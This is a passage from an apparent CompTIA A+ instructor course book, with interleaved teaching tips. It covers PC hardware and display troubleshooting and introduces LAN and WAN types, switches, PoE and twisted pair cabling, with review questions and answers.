feels hot to the touch, you should check for overheating issues. Unusual odors,
such as a burning smell or smoke, will almost always indicate something (probably
the power supply) is overheating. The system should be shut down immediately
and the problem investigated. A burning smell may also arise because the case and/
or fan vents are clogged with dust.

CPUs and other system components heat up while running. Take care not to burn
yourself when handling internal components.

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Other techniques for diagnosing and correcting overheating issues include the
following:
• Most systems come with internal temperature sensors that you can check via
driver or management software. Use the vendor documentation to confirm that
the system is operating within acceptable limits.

• Ensure that the CPU fan is working. Proper cooling is vital to the lifespan
and performance of the processor. If the processor is running too hot, it can
decrease performance. A processor that is overheating can cause crashes or
reboot the machine. Is the fan's power cable properly connected? Is the fan
jammed, clogged, or too small? If a processor upgrade is installed, the fan from
the original CPU may not be suitable for the new device.

• Make sure the heat sink is properly fitted. It should be snug against the
processor. It might be necessary to clean away old thermal paste and replace it
to help the processor to run at a lower temperature.

• Always use blanking plates to cover up holes in the back or front of the PC. Holes
can disrupt the airflow and decrease the effectiveness of the cooling systems.

• Verify whether the room in which the PC is installed is unusually warm or dusty
or whether the PC is positioned near a radiator or in direct sunlight.

Thermal problems may also affect system operation by causing loose connectors
to drift apart, components to move in their sockets, or circuit board defects such
as hairline cracks to widen and break connections. Some of these faults can be
detected by visual inspection.

Physical Damage
Actual physical damage to a computer system is usually caused to peripherals,
ports, and cables. Damage to other components is only likely if the unit has been in
transit somewhere. Inspect a unit closely for damage to the case; even a small crack
or dent may indicate a fall or knock that could have caused worse damage to the
internal components than is obvious from outside.
If a peripheral device does not work, examine the port and the end of the cable
closely for bent, broken, or dirty pins and connectors. Examine the length of the
cable for damage.
Few problems are actually caused by the motherboard itself, but there are a few
things to be aware of.
• The motherboard's soldered chips and components could be damaged by
electrostatic discharge (ESD), electrical spikes, or overheating.

• The pins on integrated connectors can also be damaged by careless insertion of

plugs and adapter cards.

• In some cases, errors may be caused by dirt (clean the contacts on connectors)
or chip creep, where an adapter works loose from its socket over time, perhaps
because of temperature changes.

• If a system has had liquid spilled on it or if fans or the keyboard are clogged by
dust or dirt, there may be visible signs of this.

• If a component has “blown,” it can leave scorch marks. You could also look for
capacitor swelling. The capacitors are barrel-like components that regulate the
flow of electricity to the system chips. If they are swollen or bulging or emitting
any kind of residue, they could have been damaged or could have failed due to a
manufacturing defect.

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If there is physical damage to the motherboard, you will almost certainly need
diagnostic software to run tests that confirm whether there is a problem. Testing
by substituting “known good” components would be too time consuming and
expensive. It is worth investigating any environmental problems or maintenance
procedures that could be the “root cause” of the error.

Troubleshoot Performance Issues

Show Performance issues are one of the hardest types of problem to diagnose and
Slide(s) troubleshoot because the symptoms of poor performance have a wide variety of
causes. Use a structured approach to try to compartmentalize the source of the
Troubleshoot
Performance Issues
performance issue:
1. Check for overheating—If the temperature is too high, the CPU and other
Teaching components are likely to reduce the performance level to avoid overheating.
Tip This is referred to as throttling. Check temperature sensors and fan speeds.
Explain that If these are high, check whether the computer needs cleaning or if cooling
troubleshooting systems need to be replaced or upgraded.
performance at the
software level is 2. Check for misconfigurations—If the symptom of sluggish performance
covered on Core 2.
is found on a new build or after an upgrade or maintenance, verify the
Interaction compatibility of new components with the motherboard. For example, a
Opportunity memory upgrade might result in the computer no longer using dual-channel
mode, reducing performance. Remember to ask the question “What has
If you can provide
hands-on examples changed?” when a problem is reported.
or demos of a vendor
diagnostic tool that 3. Verify the problem—A PC has compute, storage, and networking functions.
will boost students’ Any three of these may be the source of sluggish performance. If possible,
understanding. use diagnostic tests to compare performance of the CPU, system memory,
fixed disk, and network adapter to known performance baselines. Quantifying
what “sluggish” really means and isolating the issue to a particular subsystem
will help to identify the probable cause. If the system performance is not
sufficient, one or more subsystems can be upgraded.

A bottleneck is an underpowered component that slows down the whole system. For
example, a PC might have a fast CPU, dedicated graphics, and lots of system memory,
but if the fixed disk is an HDD, then performance will be very slow.

4. Rule out operating system/app/configuration/networking issues—Users

might describe a computer’s performance as sluggish when in fact there
is a configuration problem. For example, a computer might seem to be
unresponsive and lead the user to say, “My computer is slow,” but the issue
is caused by a faulty network login script, and the fault does not actually lie
in the computer. Try to rule out issues with the operating system and apps
before assuming that there is a hardware issue. You can use a built-in or third-
party diagnostic suite to verify the performance of individual components.
If the diagnostic tool does not indicate a problem, suspect a software/
configuration issue.

Troubleshoot Inaccurate System Date/Time

Show It is important for computers to keep time accurately. If the date and time are not
Slide(s) correctly synchronized with other computers on the network or on the Internet,
Troubleshoot security systems such as authentication will not work and utilities such as backup
Inaccurate System programs and schedulers will be unreliable.
Date/Time

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The real time clock (RTC) is a part of the chipset that keeps track of the calendar
date and time. This component runs on battery power when the computer is turned
off. The RTC battery is a coin cell lithium battery.

RTC coin cell battery on the motherboard. (Image ©123RF.com)

If the date or time displayed in the system firmware setup program is inaccurate,
it can be a sign that the RTC battery is failing. You should replace it with the same
size and type. Typically, the coin cell type is CR2032, but check the motherboard
documentation.

The RTC battery is also often called the CMOS battery. On older computers, system
firmware custom settings were saved to CMOS RAM. CMOS stands for complementary
metal-oxide semiconductor, which describes the manufacturing process used to make
the RAM chip. CMOS requires battery backup to save data. On current motherboards,
configuration data is stored in a non-volatile RAM (NVRAM) chip (flash memory), rather
than in CMOS RAM. Flash memory does not require battery backup.

Troubleshoot Missing Video Issues

If no image is displayed on the monitor or projector, first make sure that the display Show
device is plugged in and turned on. Check that the monitor is not in standby mode Slide(s)
(press a key or cycle the power to the monitor to activate it). Troubleshoot Missing
You may also need to use controls on the monitor itself to adjust the image or Video Issues
select the appropriate data source or input channel. For example, if there is no
image on the screen, check that the monitor is set to use the HDMI port that the
computer is connected to, rather than an empty DVI port. These on-screen display
(OSD) menus are operated using buttons on the monitor case. As well as input
control, you can usually find settings for brightness, color/contrast, and power
saving.

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Physical Cabling Issues

If the display is powered on and you can rule out a problem with the input source,
check the cable and connectors between the video card and monitor. Make sure
the cable is connected securely at both ends and is not loose. Make sure that the
cable has not become stretched or crimped. Verify that the cable specification is
valid for the application. For example, a basic HDMI cable might not be sufficient
quality for 4K resolution, which requires High Speed rated cable.

To rule out cable problems, use the “known good” technique and substitute with
another cable. Alternatively, try the monitor with a different PC to identify whether the
problem is with the display unit or with the input source.

Burned-Out-Bulb Issues
A video projector is a large-format display, suitable for use in a presentation or
at a meeting. The image is projected onto a screen or wall using a lens system.
Like display monitors, projectors can use different imaging technologies, such as
cathode ray tube (CRT), liquid crystal display (LCD), and digital light processing (DLP).
Where a PC monitor display uses a small backlight or LED array, a projector uses a
very strong bulb light source to project the image onto a screen or backdrop.

A DLP projector. (Image ©123RF.com)

Projector bulbs have a limited lifetime and will often need to be replaced. You might
notice the image generated by the projector start to dim. There may also be a bulb
health warning indicator light. A completely failed bulb is referred to as a burned-
out bulb. You might hear the bulb “pop” and observe scorch marks on the inside or
a broken filament.

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Take care when handling projectors. During use, the bulb becomes very hot, and while
it is hot, it will be very fragile. Allow a projector to cool completely before attempting to
remove it.

Intermittent Projector Shutdown Issues

Intermittent projector shutdown is typically caused by overheating. Check
that the projector’s fan is working, that the vents are free from dust and are not
obstructed, and that the ambient temperature is not too high. If you can rule out
overheating, check for loose connector cables and verify that the bulb is secured
properly.

Troubleshoot Video Quality Issues

There might be an image on the display unit, but it might exhibit unusual artefacts Show
or glitches. These video quality issues might be due to a fault in the display itself or Slide(s)
with the input source (the signal from the video card).
Troubleshoot Video
• Dim image—Use the OSD to check the brightness and contrast controls to make Quality Issues (2)
sure they are not turned all the way down. It is possible that a power-saving
mode is dimming the display. It is also possible that an adaptive brightness,
auto-brightness, or eye-saving feature of the device or operating system has
been enabled. These reduce brightness and contrast and can use lower blue-
light levels. This type of feature might activate automatically at a certain time of
day or could use an ambient light sensor to trigger when the room is dark. If the
image is almost invisible, the display’s backlight has probably failed, and the unit
will have to be repaired under warranty or replaced.

• Fuzzy image—If the output resolution does not match the display device’s
native resolution, the image will appear fuzzy. This typically happens if the video
card’s driver is faulty or incorrectly configured. For example, the TFT monitor’s
resolution might be 1920x1080, but the video card is set to 1024x768. Use the
OS to change the output resolution or update the driver.

• Flashing screen—Check the video cable and connectors. If the connector is

not securely inserted at both ends, this could cause flickering. A flickering or
flashing image could also be caused by the display’s backlight or circuitry starting
to fail. Other symptoms of a failing display include bright or dim bands or lines
and bright spots at the edge of the screen. Any of these symptoms will typically
require the display to be repaired under warranty or replaced.

A flashing screen could also be caused by a faulty or overheating video card. Attach the
display device to a different computer to isolate the cause of the issue.

• Dead pixels—Defects in a flat-panel monitor may cause individual pixels to be

“stuck” or “dead.” If a digital display panel has stuck (constantly bright) pixels,
and the panel cannot be replaced under warranty, there are software utilities
available to cycle the pixel through a series of relatively extreme color states
to try to reactivate it. Fixed pixels can also sometimes be reactivated by gently
pressing or tapping the affected area of the screen with a stylus or pencil eraser,
though there is the risk of causing further damage or scratching the screen.
Dead pixels (solid black) cannot usually be fixed.

• Burn-in—When the same static image is displayed for an extended period, the
monitor's picture elements can be damaged, and a ghost image is “burned”

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permanently onto the display. Devices such as plasma screens and organic
LED (OLED) displays can be more vulnerable to burn-in than ordinary TFT/LED
displays. Always ensure that a display is set to turn off, or use an animated
screen saver when no user input is detected.

A TFT/LED monitor uses an LED backlight to illuminate the image. In an OLED, each pixel
provides its own illumination.

• Incorrect color display—If a computer is used to produce digital art, it is very

important that the display be calibrated to scanning devices and print output.
Color calibration (or workflow) refers to a process of adjusting screen and
scanner settings so that color input and output are balanced. Color settings
should be configured with the assistance of a color profile. You can use the Color
Management applet in Control Panel along with test card color patterns and
spectrophotometers to define a color profile and verify that the display matches it.

Display Color Calibration utility in Windows 10. (Screenshot courtesy of Microsoft.)

You may also come across color glitches, such as purple or green horizontal lines
or colors changing unexpectedly. These are usually caused by a faulty or loose
connector or cabling that is either faulty or insufficient quality for the current
image resolution. Try replacing the cable. If this does not fix the issue, there
could be a hardware fault in either the monitor or graphics adapter.

• Audio issues—HDMI and DisplayPort can deliver a combined video and audio
signal if that is supported by the video card. DVI and VGA cannot carry a sound
signal, so the speakers must be connected to the computer’s audio ports using
3.5 mm jacks. If there is no sound from built-in or separate speakers, check
power, cables/connectors, and any physical volume control on the speaker
device. If you can discount these issues, use the OS to verify that the audio
output is set to the correct device and check the OS volume control.

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Review Activity:
System and Display Issues
9

Answer the following questions:

1. What cause might you suspect if a PC experiences intermittent lockups? Show

Slide(s)
Assuming the cause is not related to software or device drivers, then thermal or
Review
power problems are most likely. Loose connections, faulty system components
(motherboard, CPU, and memory), and corruption of OS files due to bad sectors/ Teaching
blocks are also possibilities. Tip
2. True or false? Running the fans continually at maximum speed is the Take some time at
the end of each topic
best way to prevent overheating.
to answer questions.
You can use the
False. This is likely to damage the fans and draw more dust into the case. It will
review questions
also cause a lot of excess noise. To prevent overheating, the PC should be installed for discussion in
to a suitable location (away from direct sunlight and radiators) and cleaned and class or set them for
maintained to a schedule. students to complete
individually during or
3. You receive a support call from a lecturer. A projector is only displaying after class.
a very dim image. Which component should you prioritize for
investigation?

A dim image is likely to be caused by a blow bulb (or one that is about to blow).
If there is no visible sign of damage to the bulb, you should rule out a simple
configuration issue, such as the brightness control being turned all the way down.

4. A user has been supplied with a monitor from stores as a temporary

replacement. However, the user reports that the device is unusable
because of a thick green band across the middle of the screen. What
technique could you use to diagnose the cause?

Replace the cable with a known good one. If this does not solve the problem,
suspect an issue with the monitor. As the PC was used with no issues with another
monitor, there is not likely to be an issue with the video card.

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Lesson 3
Summary
5

Show You should be able to apply the CompTIA A+ troubleshooting model to common
Slide(s) scenarios and diagnose symptoms such as no power, POST error, boot device
Summary
failure, storage device/RAID issue, or display device issue.

Teaching Guidelines for Troubleshooting PC Hardware

Tip
Follow these guidelines to support troubleshooting procedures:
Try to include some
time at the end • Establish documented support and troubleshooting procedures that embed the
of each lesson to standard methodology of identifying symptoms; diagnosing and testing causes;
check students' planning, implementing, and verifying solutions; and documenting findings,
understanding and actions, and outcomes.
answer questions.
• Ensure that vendor documentation for system BIOS/UEFI is available and that
technicians are familiar with the system setup program and configure boot
order, user/supervisor passwords, USB protection, and TPM settings.

• Develop a knowledge base for troubleshooting problems related to

motherboards, RAM, CPU, and power, such as POST beeps, proprietary crash
screens, no power/black screen, sluggish performance, overheating, intermittent
shutdown, capacitor swelling, and inaccurate system date/time.

• Develop a knowledge base for troubleshooting problems with storage drives

and RAID arrays, such as LED status indicators, grinding/clicking noises, bootable
device not found errors, data loss/corruption, RAID failure, SMART failure,
extended read/write times, and missing drives in OS.

• Develop a knowledge base for troubleshooting problems related to video,

projector, and display issues, such as incorrect data source, physical cabling
issues, burned-out bulb, fuzzy image, display burn-in, dead pixels, flashing
screen, incorrect color display, audio issues, dim image, and intermittent
projector shutdown.

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

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 Lesson 4
Comparing Local Networking
1

Hardware
LESSON INTRODUCTION
Network support is a great competency for IT technicians at all levels to possess. Show
In today’s environment, standalone computing is a rarity. Just about every digital Slide(s)
device on the planet today is connected to external resources via a network,
Objectives
whether it is a small office/home office (SOHO) network, a corporate WAN, or to the
Internet directly. Teaching
Tip
The ability to connect, share, and communicate using a network is crucial for
This lesson starts a
running a business and staying connected to everything in the world. As a new section of the
CompTIA® A+® support technician, if you understand the technologies that course focused on
underlie both local and global network communications, you can play an important networking. This
role in ensuring that the organization you support stays connected. takes in domain
2 (networking)
This lesson will help you understand how different types of networks are and domain 4
categorized and how to compare and contrast network cabling, hardware, and (virtualization/
wireless standards. cloud) plus most
of the remaining
objectives in domains
Lesson Objectives 3 (hardware) and 5
(troubleshooting).
In this lesson, you will: The Core 1 exam
objectives focus on
• Compare network types. network hardware
and infrastructure
• Compare networking hardware. (such as application
protocols and server
• Explain network cable types. roles). Explain that as
computing devices
• Compare wireless networking types. become more
reliable and easier
to configure (as
hardware), the role
of a PC or IT support
technician has shifted
to include a greater
network support role
than previously.

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Topic 4A
Compare Network Types
2

Show CORE 1 EXAM OBJECTIVES COVERED

Slide(s) 2.7 Compare and contrast Internet connection types, network types, and their features.
Compare Network
Types
A network type categorizes the area over which the parts of the network are
Teaching managed. Being able to use the correct terminology to classify the scope of a
Tip network and distinguish their specific requirements will enable you to assist with
This topic introduces installation and support procedures.
basic definitions of
network types and
scopes. LANs and WANs
Show A local area network (LAN) is a group of computers connected by cabling and one
Slide(s) or more network switches that are all installed at a single geographical location.
LANs and WANs A LAN might span a single floor in a building, a whole building, or multiple nearby
buildings (a campus). Any network where the nodes are within about 1 or 2 km (or
Teaching about 1 mile) of one another can be thought of as “local.” LAN cabling and devices
Tip are typically owned and managed by the organization that uses the network.
Discuss features Most cabled LANs are based on the 802.3 Ethernet standards maintained by the
of a local network:
Institute of Electrical and Electronics Engineers (IEEE). The IEEE 802.3 standards are
limited area and
directly owned and designated xBASE-Y, where x is the nominal data rate and Y is the cable type. For
managed by a single example:
organization. Note
that most cabled
• 100BASE-T refers to Fast Ethernet over copper twisted pair cabling. Fast Ethernet
LANs use Ethernet works at 100 Mbps.
and WLANs use Wi-Fi,
and explain that these • 1000BASE-T refers to Gigabit Ethernet over copper twisted pair cabling. Gigabit
can form two or more Ethernet works at 1000 Mbps (or 1 Gbps). 1000BASE-T is the mainstream choice
segments within the of standard for most LANs.
same overall LAN.
Discuss features of a • 10GBASE-T refers to a copper cabling standard working at 10 Gbps.
local network: long-
distance links between Copper cabling uses electrical signaling to communicate data. Other types of
geographically Ethernet work over fiber optic cabling. Fiber uses pulses of light to communicate
separated LANs and data.
use of public or service
provider networks for Wireless LANs
the WAN links. Note
the use of "MAN" to A wireless local area network (WLAN) uses radios and antennas for data
refer to a city-wide
transmission and reception. Most WLANs are based on the IEEE 802.11 series of
WAN.
standards. IEEE 802.11 is better known by its brand name, Wi-Fi. Wi-Fi and Ethernet
technologies complement one another and are often used together as segments
within the same local network. This allows computers with wired and wireless
networking adapters to communicate with one another.

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Wide Area Networks

Where a LAN operates at a single site, a wide area network (WAN) spans multiple
geographic locations. One example of a WAN is the Internet, a global network of
networks. A company dedicated to facilitating access to the Internet from local
networks is called an Internet Service Provider (ISP).
Most private or enterprise WANs use cabling and equipment leased from an ISP to
interconnect two or more LAN sites. For example, a company might use a WAN to
connect branch office sites to the LAN at its head office.

Metropolitan Area Networks

Metropolitan area network (MAN) can be used to mean a specific network type
covering an area equivalent to a city or other municipality. It could mean a company
with multiple connected networks within the same metropolitan area—so, larger
than a LAN but smaller than a WAN.

SOHO and Enterprise Networks

A small office home office (SOHO) LAN is a business-oriented network possibly Show
using a centralized server, in addition to client devices and printers, but often using Slide(s)
a single networking appliance to provide LAN and Internet connectivity. This is often SOHO and Enterprise
referred to as a “SOHO router,” “Internet router,” or “broadband router.” Networks

Teaching
Tip
Compare the
requirements and
features of enterprise
networks to SOHO
networks.

A typical SOHO network layout. (Image © 123RF.com.)

Networks supporting larger businesses or academic institutions networking

appliances with the same basic functions as a SOHO router, but because they must
support more clients with a greater degree of reliability, each function is performed
by a separate network device.

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The following graphic illustrates how an enterprise LAN might be implemented.

Each segment of the network is designed as a modular function. Client computers
and printers are located in work areas and connected to the network by cabling
running through wall conduit. Laptops and mobile devices connect to the network
via wireless access points (APs). Network servers are separated from client
computers in a server room. Workgroup switches connect each of these blocks to
core/distribution switches, routers, and firewalls. These network appliances allow
authorized connections between the clients and servers.

Positioning network components. (Image © 123RF.com.)

Internet services are placed in protected screened subnets, which represent a

border between the private LAN and the public Internet. Traffic to and from this
zone is strictly filtered and monitored. Network border services provide Internet
access for employees, email and communications, remote access and WAN branch
office links via virtual private networks (VPNs), and web services for external clients
and customers.

Datacenters and Storage Area Networks

Show Most networks distinguish between two basic roles for the computers:
Slide(s) • A server computer is dedicated to running network applications and hosting
Datacenters and shared resources.
Storage Area Networks
• A client computer allows end users to access the applications and resources to
Teaching do work.
Tip
Datacenter isn’t a
content example,
but students should
understand the term,
especially in relation
to SAN.

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On an enterprise LAN, server computers are hosted in a separate area, referred

to as a “server room.” A company with high server requirements might operate a
datacenter, however. A datacenter is a whole site that is dedicated to provisioning
server resources. Most datacenters are housed in purpose-built facilities. A
datacenter has dedicated networking, power, climate control, and physical access
control features all designed to provide a highly available environment for running
critical applications.
Within an enterprise LAN or datacenter, a storage area network (SAN) provisions
access to a configurable pool of storage devices that can be used by application
servers. An SAN is isolated from the main network. It is only accessed by servers,
not by client PCs and laptops. SAN clients are servers running databases or
applications. Provisioning a shared storage pool as an SAN is more flexible and
reliable than using local disks on each server machine. SANs use connectivity
technologies such as Fiber Channel and Internet SCSI (iSCSI).

Personal Area Networks

A personal area network (PAN) refers to using wireless connectivity to connect to Show
devices at a range of a few meters. A PAN can be used to share data between a PC Slide(s)
and a mobile devices and wearable technology devices, such as smart watches. It
Personal Area
can also connect PCs and mobiles to peripheral devices, such as printers, headsets, Networks
speakers, and video displays. As digital and network functionality continues to be
embedded in more and more everyday objects, appliances (the IOT), and clothing,
the use of PANs will only grow.

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Review Activity:
Network Types
3

Answer the following questions:

Show 1. A network uses an IEEE 802.11 standard to establish connections. What

Slide(s) type of network is this?
Review
A wireless local area network (WLAN).
Teaching
2. What type of network has no specific geographical restrictions?
Tip
Take some time at A wide area network (WAN) can span any geographical distance.
the end of each topic
to answer questions. 3. A network uses Fiber Channel adapters to implement connections. What
You can use the type of network is this?
review questions
for discussion in A storage area network (SAN).
class or set them for
students to complete
individually during or
after class.

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Topic 4B
Compare Networking Hardware
4

CORE 1 EXAM OBJECTIVES COVERED Show

2.2 Compare and contrast common networking hardware. Slide(s)
Compare Networking
Hardware
Networking hardware is the devices that allow computers to connect to a network
Teaching
over a certain type of network media and that forward data between computers.
Tip
Network adapters, patch panels, and switches are used to implement local Ethernet
networks. Understanding the functions and capabilities of Ethernet devices will Having introduced
network types, the
prepare you to support a local office or SOHO network effectively. remaining topics
work through the
Network Interface Cards technologies used to
implement Ethernet
and Wi-Fi LANs,
Ethernet communications are established by either electrical signaling over copper
starting with Ethernet
twisted pair cable or pulses of light transmitted over fiber optic cable. The physical hardware (principally
connection to the cable is made using a transceiver port in the computer’s network NICs, patch panels,
interface card (NIC). All PC motherboards have a built-in 1000BASE-T compatible and switches).
adapter. You might use an NIC adapter card to support other types of Ethernet,
such as fiber optic. You can also purchase cards with multiple ports of the same Show
type—two or four 1000BASE-T ports, for instance. The multiple ports can be bonded Slide(s)
to create a higher-speed link. Four Gigabit Ethernet ports could be bonded to give a Network Interface
nominal link speed of 4 Gbps. Cards

For the NIC to be able to process the electrical or light signals as digital data, the Teaching
signals must be divided into regular units with a consistent format. There must Tip
also be a means for each node on the local network to address communications to
Explain that NICs
other nodes. Ethernet provides a data link protocol to perform these framing and perform two functions:
addressing functions. the transceiver
implements a port
Each Ethernet NIC port has a unique hardware/physical address, called the “media for a particular type
access control” (MAC) address. Each frame of Ethernet data identifies the source of cable and signaling
MAC address and destination MAC address in fields in a header. (electrical/twisted pair
or optical/fiber optic).
The data link function
organizes signals into
frames and uses MAC
addressing to identify
each interface/port.

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Captured Ethernet frame showing the destination and source MAC addresses. The destination
address is a broadcast address. (Screenshot courtesy of Wireshark.)

A MAC address consists of 48 binary digits, making it six bytes in size. A MAC
address is typically represented as 12 digits of hexadecimal. Hex is a numbering
system often used to represent network addresses of different types. A hex digit
can be one of sixteen values: 0–9 and then A, B, C, D, E, F. Each hex digit represents
half a byte (or four bits or a nibble). The 12 digits of a MAC address might be
written with colon or hyphen separators or no separators at all—for example,
00:60:8c:12:3a:bc or 00608c123abc.

Patch Panels
Show In most types of office cabling, the computer is connected to a wall port and—via
Slide(s) cabling running through the walls—to a patch panel. The cables running through
Patch Panels
the walls are terminated to insulation displacement connector (IDC) punchdown
blocks at the back of the panel.
Teaching
Tip
Explain that while A+
is mostly focused on
SOHO networking,
there are some
examples that relate
to campus/enterprise
networking.
IDCs at the rear of a patch panel. (Image by plus69 © 123RF.com.)
Point out the
importance of
labelling ports and The other side of the patch panel has prewired RJ45 ports. A patch cord is used
cables in patch panels. to connect a port on the patch panel to a port on an Ethernet switch. This cabling
design makes it easier to change how any given wall port location is connected to
the network via switch ports.

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Patch panel with prewired RJ45 ports. (Image by Svetlana Kurochkina © 123RF.com.)

It is vital to use an effective labeling system when installing structured cabling so that
you know which patch panel port is connected to which wall port.

Hubs
A hub is a legacy network hardware device that was used to implement the Show
10BASE-T and 100BASE-T Ethernet cabling designs. This design is referred to as a Slide(s)
star topology“ because each end system is cabled to a concentrator (the hub). Hubs
A hub has a number of ports—typically between four and 48—and each computer
Teaching
is cabled to one port. The circuitry in the hub repeats an incoming transmission
Tip
from a computer attached to one port across all the other ports. In effect, the
computers seem to be attached to the same cable. Each computer attached to a Explain that star
topology wiring
hub receives all the traffic sent by other connected devices. This is referred to as a
uses a concentrator
“collision domain.” appliance to create
connections between
the end systems. In
early Ethernet, this
concentrator function
was performed by a
hub.
Make sure students
understand the basic
concept of a collision
domain and the
performance issues it
raises.

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Using a hub to implement an Ethernet. Node A transmits a signal, which is received by the hub and
forwarded out of each other port for reception by all the other nodes. (Image © 123RF.com.)

Each computer will ignore any frames that do not match its MAC address. However,
Show when lots of computers are in the same collision domain, performance is reduced,
Slide(s) as only one computer can send a frame at any one time. If two computers try
Switches to send at the same time, there is a collision, and they must wait for a random
period before trying again. The more computers there are, the more collisions. The
Teaching computers contend for a share of the media bandwidth and all communications are
Tip half-duplex. Half-duplex means that the computer can send or receive, but not at
Explain that switches the same time.
perform the same
basic concentrator
As well as the effect of contention on performance, there are no hubs that are
function and are compatible with Gigabit Ethernet. These limitations mean that almost all networks
also wired in a star are now based on Ethernet switching. You are only likely to encounter a hub being
topology, but they used in very specific circumstances, such as where legacy equipment must be kept
work much more in service.
efficiently. The switch
tracks MAC addresses
for each of its ports Switches
(implementing
the function of an A solution to the issue of collisions was first provided by inserting Ethernet bridges
Ethernet bridge). between hubs to break up collision domains. Ethernet bridges were quickly
Where possible,
refined into the Ethernet switch appliances that underpin almost all modern office
it uses learned
MAC addresses to networks. Like a hub, an Ethernet switch provisions one port for each device that
forward frames to the needs to connect to the network. Unlike a hub, an Ethernet switch can decode
destination port only, each frame and identify the source and destination MAC addresses. It can track
rather than flooding which MAC source addresses are associated with each port. When it receives an
them out of all ports. incoming frame, the switch intelligently forwards it to the port that is a match for
This means that each
switch port is a single
the destination MAC address.
collision domain and
works in full-duplex
mode at the full speed
of the network media.
Explain that switches
are required for
Gigabit Ethernet and
better.

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Switch operation. (Image © 123RF.com.)

This means that each switch port is a separate collision domain, and the negative
effects of contention are eliminated. Each computer has a full duplex connection to
the network and can send and receive simultaneously at the full speed supported
by the network cabling and NIC.
Show
When a computer sends a frame, the switch reads the source address and adds it to its Slide(s)
MAC address table. If a destination MAC address is not yet known, the switch floods the Unmanaged and
frame out of all ports. Managed Switches

Teaching
Tip
Unmanaged and Managed Switches Explain that switches
are available in a wide
An unmanaged switch performs its function without requiring any sort of range of types with
configuration. You just power it on and connect some hosts to it, and it establishes different performance
Ethernet connectivity between the network interfaces without any more characteristics.
intervention. You might find unmanaged switches with four or eight ports used in Unmanaged switches
small networks. There is an unmanaged four-port switch embedded in most of the are supplied as
SOHO router/modems supplied by Internet Service Providers (ISPs) to connect to desktop or rack-
mounted units and
their networks. are also an embedded
function in SOHO
On some older SOHO routers, the LAN interfaces are implemented as a hub. These do Internet router/
not support 1 Gbps operation. modems.
Managed switches are
usually rack mounted.
Enterprises might
deploy switches within
Larger workgroups and corporate networks require additional functionality in their modular chassis.
switches. Switches designed for larger LANs are managed switches. A managed
Explain that managed
switch will work as an unmanaged switch out of the box, but an administrator can
switches are usually
connect to it over a management port, configure security settings, and then choose operated using
options for the switch’s more advanced functionality. Most managed switches are a command-line
designed to be bolted into standard network racks. A typical workgroup switch will interface, though
come with 24 or 48 access ports for client PCs, servers, and printers. These switches some have web
have uplink ports allowing them to be connected to other switches. management GUIs.

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A workgroup switch. (Image © 123RF.com.)

An enterprise might also use modular switches. These provide a power supply and
fast communications backplane to interconnect multiple switch units. This enables
the provisioning of hundreds of access ports via a single compact appliance.

Modular chassis allows provisioning multiple access switches. (Image © 123RF.com.)

Configuring a managed switch can be performed over either a web or command

line interface.

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Viewing interface configuration on a Cisco switch.

Power over Ethernet

Power over Ethernet (PoE) is a means of supplying electrical power from a switch Show
port over ordinary data cabling to a powered device (PD), such as a voice over IP Slide(s)
(VoIP) handset, camera, or wireless access point. PoE is defined in several IEEE Power over Ethernet
standards:
Teaching
• 802.3af allows powered devices to draw up to about 13 W. Power is supplied as
Tip
350mA@48V and limited to 15.4 W, but the voltage drop over the maximum 100
feet of cable results in usable power of around 13 W. Explain that this is a
feature of enterprise
• 802.3at (PoE+) allows powered devices to draw up to about 25 W, with a switches to allow
power to be supplied
maximum current of 600 mA. to small devices
(access points,
• 802.3bt (PoE++ or 4PPoE) supplies up to about 51 W (Type 3) or 73 W (Type 4) cameras) over data
usable power. cabling.

A PoE-enabled switch is referred to as endspan power sourcing equipment

(PSE). When a device is connected to a port on a PoE switch, the switch goes
through a detection phase to determine whether the device is PoE enabled. If so, it
determines the device’s power consumption and sets an appropriate supply voltage
level. If not, it does not supply power over the port and, therefore, does not damage
non-PoE devices.
Powering these devices through a switch is more efficient than using a wall-socket
AC adapter for each appliance. It also allows network management software to
control the devices and apply energy saving schemes, such as making unused
devices go into sleep states and power capping.
If the switch does not support PoE, a device called a “power injector” (or “midspan”)
can be used. One port on the injector is connected to the switch port. The other
port is connected to the device. The overall cable length cannot exceed 100 m.

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Review Activity:
Networking Hardware
5

Answer the following questions:

Show 1. True or false? A MAC address identifies the network to which a NIC is
Slide(s) attached.
Review False. A media access control (MAC) address is a unique hardware identifier for an
Teaching
interface port. It does not convey any information about logical network addresses.
Tip 2. A workstation must be provisioned with a 4 Gbps network link. Is it
Take some time at possible to specify a single NIC to meet this requirement?
the end of each topic
to answer questions. Yes. On an NIC with 4 gigabit Ethernet ports, the ports can be bonded to establish a
You can use the 4 Gbps link.
review questions
for discussion in 3. You are completing a network installation as part of a team. Another
class or set them for
students to complete
group has cabled wall ports to a patch panel. Is any additional
individually during or infrastructure required?
after class.
Yes. The patch panel terminates cabling, but it does not establish any connections
between the cable segments. You must install a networking appliance to act as a
concentrator and connect the cable segments. On modern networks, this means
installing a switch and cabling it to the patch panel ports using RJ45 patch cords.

4. You are planning to install a network of wireless access points with

power supplied over data cabling. Each access point requires a 20W
power supply. What version of PoE must the switch support to fulfill this
requirement?

PoE+ (802.3at) or PoE++/4PPoE (802.3bt).

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Topic 4C
Explain Network Cable Types
5

CORE 1 EXAM OBJECTIVES COVERED Show

2.8 Given a scenario, use networking tools. Slide(s)
3.1 Explain basic cable types and their connectors, features, and purposes. Explain Network
Cable Types
Recognizing suitable cabling options for a given scenario will help you determine Teaching
the best choice for a particular network location. As you gain knowledge and Tip
experience of the different cable installation and testing tools, you will be able to
Ensure that students
support highly reliable networks. can select an
appropriate cable
Unshielded Twisted Pair type, connector type,
and tool for a given
scenario.
The most popular type of network cable is of a copper wire construction called
“unshielded twisted pair” (UTP). UTP is made up of four copper conductor wire
Show
pairs. Each pair of insulated conductors is twisted at a different rate from the other
Slide(s)
pairs, which reduces interference. The electrical signals sent over each pair are
balanced. This means that each wire carries an equal but opposite signal to its pair. Unshielded Twisted
Pair
This is another factor helping to identify the signal more strongly against any source
of interference. However, the electrical signaling method is still only reliable over
limited range. The signal suffers from attenuation, meaning that it loses strength
over long ranges. Most UTP cable segments have a maximum recommended
distance of 100 m (328 feet).

UTP cable. (Image © 123RF.com.)

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Shielded Twisted Pair

Show Shielded twisted pair (STP) provides extra protection against interference.
Slide(s) Shielded cable is often used for 10G Ethernet and higher within datacenter
Shielded Twisted Pair networks because it is more reliable than UTP. Shielding may also be a requirement
in environments with high levels of external interference, such as cable that must
Teaching be run in proximity to fluorescent lighting, power lines, motors, and generators.
Tip
